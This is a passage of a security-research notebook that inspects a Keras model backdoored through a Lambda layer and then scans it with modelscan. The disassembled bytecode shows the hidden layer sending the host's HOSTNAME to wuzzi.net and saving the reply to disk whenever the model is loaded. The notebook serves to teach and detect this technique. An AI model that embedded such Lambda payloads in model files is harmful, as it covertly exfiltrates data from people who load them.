UXXHBBWZ/1rWVlGLISeLVgOHruunl/y8UUQZSPJsp0W4ts6yIq6RZ4DsF1nsdge+HaJIFhw4Zx0kknDfQydkiUSg4/5fuc2GNDFGtQ22yAoa+2jB4S2VotodhIooSc0kIOr1qoirE5//zzJZVK2YsuuojNm4vJjFeAnhfaWmwYlr7WxkIfmT3bC9dmCIMbJT1kG6kfFP6TIndnqQkkVUiup1IpLr30Ui699NKqsgurxrA655xzZNOmTfK5z32uYj5IrTBkbIaQBBYtWjTQS+gTlFKccMIJ5PN5qbahgRo0Yt56662SzWblsssuY9asWdU+XUVIorlxCEOoZrI9CUyfPp1vfOMbhGEod911V836R2QgOA/XXHONfeyxx3j66adZsmRJrCh0rfGTn/yEc845Z6CXMYTtHHfddVfVOEvlYNKkScyaNYvDDz+cr3/96wPWnDYgxmZb3HffffbFF1/ktdde480332Tp0qW0t7ezYcOGmhHAPvvZz3LrrbdWnbo/hPcGzj33XK677rqanW/48OGMGDGCCRMmsPPOOzNt2jSmT5/Ov/7rvw6aztf/H9qM54knzIBYAAAAAElFTkSuQmCC\n",
            "text/plain": [
              "<IPython.core.display.Image object>"
            ]
          },
          "metadata": {},
          "execution_count": 82
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "# print(model.loss)\n",
        "# print(model.optimizer.get_config()[\"learning_rate\"])\n",
        "# print(model.metrics)\n",
        "\n",
        "# print(backdoor_model.loss)\n",
        "# print(backdoor_model.optimizer.get_config()[\"learning_rate\"])\n",
        "# print(backdoor_model.metrics)"
      ],
      "metadata": {
        "id": "K0eDtIiKEGeH"
      },
      "execution_count": null,
      "outputs": []
    },
    {
      "cell_type": "markdown",
      "source": [
        "## Inspecting the backdoored model files\n",
        "\n",
        "The code to extract and inspect the python bytecode is from the [Azure Github page](https://github.com/Azure/counterfit/wiki/Abusing-ML-model-file-formats-to-create-malware-on-AI-systems:-A-proof-of-concept).\n",
        "\n",
        "Check above page if you want to inspect `.h5` files or `.json`. It has example code as well.\n",
        "\n",
        "**Checking for the existance of these layers and associated code can be used to build detections!**\n"
      ],
      "metadata": {
        "id": "eGRIB_W5gSgp"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "!ls -lh huskymodel-lambda-backdoor"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "Gj1Byl4XX9Pd",
        "outputId": "1ef95623-1ba9-4bdb-a2cb-819108ffe3bd"
      },
      "execution_count": 74,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "total 204K\n",
            "drwxr-xr-x 2 root root 4.0K May 14 21:50 assets\n",
            "-rw-r--r-- 1 root root   55 May 15 06:48 fingerprint.pb\n",
            "-rw-r--r-- 1 root root  27K May 15 06:48 keras_metadata.pb\n",
            "-rw-r--r-- 1 root root 163K May 15 06:48 saved_model.pb\n",
            "drwxr-xr-x 2 root root 4.0K May 15 06:48 variables\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "import json\n",
        "from keras.protobuf.saved_metadata_pb2 import SavedMetadata\n",
        "\n",
        "saved_metadata = SavedMetadata()\n",
        "with open(\"huskymodel-lambda-backdoor/keras_metadata.pb\", \"rb\") as f:\n",
        "    saved_metadata.ParseFromString(f.read())\n",
        "\n",
        "lambda_code = [layer[\"config\"][\"function\"][\"items\"][0]\n",
        "    for layer in [json.loads(node.metadata)\n",
        "        for node in saved_metadata.nodes\n",
        "        if node.identifier == \"_tf_keras_layer\"]\n",
        "    if layer[\"class_name\"] == \"Lambda\"]\n",
        "\n",
        "print(lambda_code)"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "nNilXpfcX_eE",
        "outputId": "a36b1bf8-17bf-4e5b-e78b-44012a28299d"
      },
      "execution_count": 75,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "['4wEAAAAAAAAAAAAAAAgAAAAIAAAAQwAAAHOWAAAAdABkAYMBAQBkAmQAbAF9AWQCZABsAn0CfAJq\\nA6AEZAOhAXNJfAFqBaAGZAShAX0DfAKgB2QFoQF9BHwDoAhkBmQHfASbAJ0CoQIBAHwDoAmhAH0F\\nfAWgCqEAfQZ0C2QDZAiDAo8OfQd8B6AMfAahAQEAVwBkAAQABACDAwEAfABTADEAc0R3AQEAAQAB\\nAFkAAQB8AFMAKQlO+ihIZWxsbyB3b3JsZCEgSHVza3kgQUkgaXMgbm93IGJhY2tkb29yZWQu6QAA\\nAAD6EWVtYnJhY2V0aGVyZWQucG5n+gl3dXp6aS5uZXTaCEhPU1ROQU1F2gNHRVT6Ei9sLnBuZz9s\\nYW1iZGFob3N0PdoCd2IpDdoFcHJpbnTaC2h0dHAuY2xpZW502gJvc9oEcGF0aNoGZXhpc3Rz2gZj\\nbGllbnTaD0hUVFBTQ29ubmVjdGlvbtoGZ2V0ZW522gdyZXF1ZXN02gtnZXRyZXNwb25zZdoEcmVh\\nZNoEb3BlbtoFd3JpdGUpCNoBeNoEaHR0cHILAAAA2gRjb25u2gRob3N02gNyZXPaBGRhdGHaAWap\\nAHIdAAAA+h88aXB5dGhvbi1pbnB1dC02Ny0zYWMwMjExYmRkMGU+2g9kZWxpY2lvdXNfbGF5ZXIE\\nAAAAcxwAAAAIAhACDAEMAQoBEgEIAQgBDAEMAQr/BAIQ/gQC\\n']\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "Finally, we can explore the actual Python byte code and reverse what the backdoored model file is doing.\n",
        "\n",
        "\n"
      ],
      "metadata": {
        "id": "IZOI31-4qSIA"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "import codecs\n",
        "import marshal\n",
        "import dis\n",
        "\n",
        "dis.dis(marshal.loads(codecs.decode(lambda_code[0].encode('ascii'), 'base64')))"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "nSnR7N-TYOMN",
        "outputId": "d7a9b479-1b29-445f-f7a9-dc4fd495d6a7"
      },
      "execution_count": 76,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "  6           0 LOAD_GLOBAL              0 (print)\n",
            "              2 LOAD_CONST               1 ('Hello world! Husky AI is now backdoored.')\n",
            "              4 CALL_FUNCTION            1\n",
            "              6 POP_TOP\n",
            "\n",
            "  8           8 LOAD_CONST               2 (0)\n",
            "             10 LOAD_CONST               0 (None)\n",
            "             12 IMPORT_NAME              1 (http.client)\n",
            "             14 STORE_FAST               1 (http)\n",
            "             16 LOAD_CONST               2 (0)\n",
            "             18 LOAD_CONST               0 (None)\n",
            "             20 IMPORT_NAME              2 (os)\n",
            "             22 STORE_FAST               2 (os)\n",
            "\n",
            "  9          24 LOAD_FAST                2 (os)\n",
            "             26 LOAD_ATTR                3 (path)\n",
            "             28 LOAD_METHOD              4 (exists)\n",
            "             30 LOAD_CONST               3 ('embracethered.png')\n",
            "             32 CALL_METHOD              1\n",
            "             34 POP_JUMP_IF_TRUE        73 (to 146)\n",
            "\n",
            " 10          36 LOAD_FAST                1 (http)\n",
            "             38 LOAD_ATTR                5 (client)\n",
            "             40 LOAD_METHOD              6 (HTTPSConnection)\n",
            "             42 LOAD_CONST               4 ('wuzzi.net')\n",
            "             44 CALL_METHOD              1\n",
            "             46 STORE_FAST               3 (conn)\n",
            "\n",
            " 11          48 LOAD_FAST                2 (os)\n",
            "             50 LOAD_METHOD              7 (getenv)\n",
            "             52 LOAD_CONST               5 ('HOSTNAME')\n",
            "             54 CALL_METHOD              1\n",
            "             56 STORE_FAST               4 (host)\n",
            "\n",
            " 12          58 LOAD_FAST                3 (conn)\n",
            "             60 LOAD_METHOD              8 (request)\n",
            "             62 LOAD_CONST               6 ('GET')\n",
            "             64 LOAD_CONST               7 ('/l.png?lambdahost=')\n",
            "             66 LOAD_FAST                4 (host)\n",
            "             68 FORMAT_VALUE             0\n",
            "             70 BUILD_STRING             2\n",
            "             72 CALL_METHOD              2\n",
            "             74 POP_TOP\n",
            "\n",
            " 13          76 LOAD_FAST                3 (conn)\n",
            "             78 LOAD_METHOD              9 (getresponse)\n",
            "             80 CALL_METHOD              0\n",
            "             82 STORE_FAST               5 (res)\n",
            "\n",
            " 14          84 LOAD_FAST                5 (res)\n",
            "             86 LOAD_METHOD             10 (read)\n",
            "             88 CALL_METHOD              0\n",
            "             90 STORE_FAST               6 (data)\n",
            "\n",
            " 15          92 LOAD_GLOBAL             11 (open)\n",
            "             94 LOAD_CONST               3 ('embracethered.png')\n",
            "             96 LOAD_CONST               8 ('wb')\n",
            "             98 CALL_FUNCTION            2\n",
            "            100 SETUP_WITH              14 (to 130)\n",
            "            102 STORE_FAST               7 (f)\n",
            "\n",
            " 16         104 LOAD_FAST                7 (f)\n",
            "            106 LOAD_METHOD             12 (write)\n",
            "            108 LOAD_FAST                6 (data)\n",
            "            110 CALL_METHOD              1\n",
            "            112 POP_TOP\n",
            "            114 POP_BLOCK\n",
            "\n",
            " 15         116 LOAD_CONST               0 (None)\n",
            "            118 DUP_TOP\n",
            "            120 DUP_TOP\n",
            "            122 CALL_FUNCTION            3\n",
            "            124 POP_TOP\n",
            "\n",
            " 17         126 LOAD_FAST                0 (x)\n",
            "            128 RETURN_VALUE\n",
            "\n",
            " 15     >>  130 WITH_EXCEPT_START\n",
            "            132 POP_JUMP_IF_TRUE        68 (to 136)\n",
            "            134 RERAISE                  1\n",
            "        >>  136 POP_TOP\n",
            "            138 POP_TOP\n",
            "            140 POP_TOP\n",
            "            142 POP_EXCEPT\n",
            "            144 POP_TOP\n",
            "\n",
            " 17     >>  146 LOAD_FAST                0 (x)\n",
            "            148 RETURN_VALUE\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "## Practical Detection using modelscan"
      ],
      "metadata": {
        "id": "oQ5bU6z9l03J"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "!pip install modelscan"
      ],
      "metadata": {
        "id": "GiFH8pfbl4u0",
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "outputId": "32379ca3-99ef-4d9a-9794-3d873eb1b413"
      },
      "execution_count": 77,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Requirement already satisfied: modelscan in /usr/local/lib/python3.10/dist-packages (0.7.3)\n",
            "Requirement already satisfied: click<9.0.0,>=8.1.3 in /usr/local/lib/python3.10/dist-packages (from modelscan) (8.1.7)\n",
            "Requirement already satisfied: numpy==1.24.0 in /usr/local/lib/python3.10/dist-packages (from modelscan) (1.24.0)\n",
            "Requirement already satisfied: rich<14.0.0,>=13.4.2 in /usr/local/lib/python3.10/dist-packages (from modelscan) (13.7.1)\n",
            "Requirement already satisfied: tensorflow-io-gcs-filesystem<0.35,>=0.23.1 in /usr/local/lib/python3.10/dist-packages (from modelscan) (0.34.0)\n",
            "Requirement already satisfied: tomlkit<0.13.0,>=0.12.3 in /usr/local/lib/python3.10/dist-packages (from modelscan) (0.12.5)\n",
            "Requirement already satisfied: markdown-it-py>=2.2.0 in /usr/local/lib/python3.10/dist-packages (from rich<14.0.0,>=13.4.2->modelscan) (3.0.0)\n",
            "Requirement already satisfied: pygments<3.0.0,>=2.13.0 in /usr/local/lib/python3.10/dist-packages (from rich<14.0.0,>=13.4.2->modelscan) (2.16.1)\n",
            "Requirement already satisfied: mdurl~=0.1 in /usr/local/lib/python3.10/dist-packages (from markdown-it-py>=2.2.0->rich<14.0.0,>=13.4.2->modelscan) (0.1.2)\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!modelscan --version"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "Ej_1o5i6nF_H",
        "outputId": "793286c6-0522-4918-dfb4-b500d8f07d63"
      },
      "execution_count": 78,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "2024-05-15 06:49:22.151026: E external/local_xla/xla/stream_executor/cuda/cuda_dnn.cc:9261] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered\n",
            "2024-05-15 06:49:22.151155: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:607] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered\n",
            "2024-05-15 06:49:22.159817: E external/local_xla/xla/stream_executor/cuda/cuda_blas.cc:1515] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered\n",
            "2024-05-15 06:49:26.443611: W tensorflow/compiler/tf2tensorrt/utils/py_utils.cc:38] TF-TRT Warning: Could not find TensorRT\n",
            "modelscan, version 0.7.3\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!modelscan -p huskymodel-lambda-backdoor"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "fUtmsauknNIn",
        "outputId": "3d4348a2-5804-4f25-b45c-bf41b2163efb"
      },
      "execution_count": 79,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "2024-05-15 06:49:41.012572: E external/local_xla/xla/stream_executor/cuda/cuda_dnn.cc:9261] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered\n",
            "2024-05-15 06:49:41.012632: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:607] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered\n",
            "2024-05-15 06:49:41.014036: E external/local_xla/xla/stream_executor/cuda/cuda_blas.cc:1515] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered\n",
            "2024-05-15 06:49:42.984019: W tensorflow/compiler/tf2tensorrt/utils/py_utils.cc:38] TF-TRT Warning: Could not find TensorRT\n",
            "No settings file detected at /content/huskyai/models/modelscan-settings.toml. Using defaults. \n",
            "\n",
            "Scanning /content/huskyai/models/huskymodel-lambda-backdoor/keras_metadata.pb using modelscan.scanners.SavedModelLambdaDetectScan model scan\n",
            "Scanning /content/huskyai/models/huskymodel-lambda-backdoor/saved_model.pb using modelscan.scanners.SavedModelTensorflowOpScan model scan\n",
            "Scanning /content/huskyai/models/huskymodel-lambda-backdoor/fingerprint.pb using modelscan.scanners.SavedModelTensorflowOpScan model scan\n",
            "\n",
            "\u001b[34m--- Summary ---\u001b[0m\n",
            "\n",
            "Total Issues: \u001b[1;36m1\u001b[0m\n",
            "\n",
            "Total Issues By Severity:\n",
            "\n",
            "    - LOW: \u001b[1;32m0\u001b[0m\n",
            "    - MEDIUM: \u001b[1;36m1\u001b[0m\n",
            "    - HIGH: \u001b[1;32m0\u001b[0m\n",
            "    - CRITICAL: \u001b[1;32m0\u001b[0m\n",
            "\n",
            "\u001b[34m--- Issues by Severity ---\u001b[0m\n",
            "\n",
            "\u001b[34m--- MEDIUM ---\u001b[0m\n",
            "\n",
            "Unsafe operator found:\n",
            "  - Severity: MEDIUM\n",
            "  - Description: Use of unsafe operator 'Lambda' from module 'Keras'\n",
            "  - Source: /content/huskyai/models/huskymodel-lambda-backdoor/keras_metadata.pb\n",
            "\n",
            "\u001b[34m--- Skipped --- \u001b[0m\n",
            "\n",
            "Total skipped: \u001b[1;36m2\u001b[0m - run with --show-skipped to see the full list.\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "## Conclusion\n",
        "\n",
        "That's it. Pretty cool and scary, but also good that there are tools for detecting this kind of adversarial trickery.\n",
        "\n",
        "Check https://embracethered.com for latest info and more interesting posts.\n",
        "\n"
      ],
      "metadata": {
        "id": "g63L7_p1kmb7"
      }
    }
  ]
}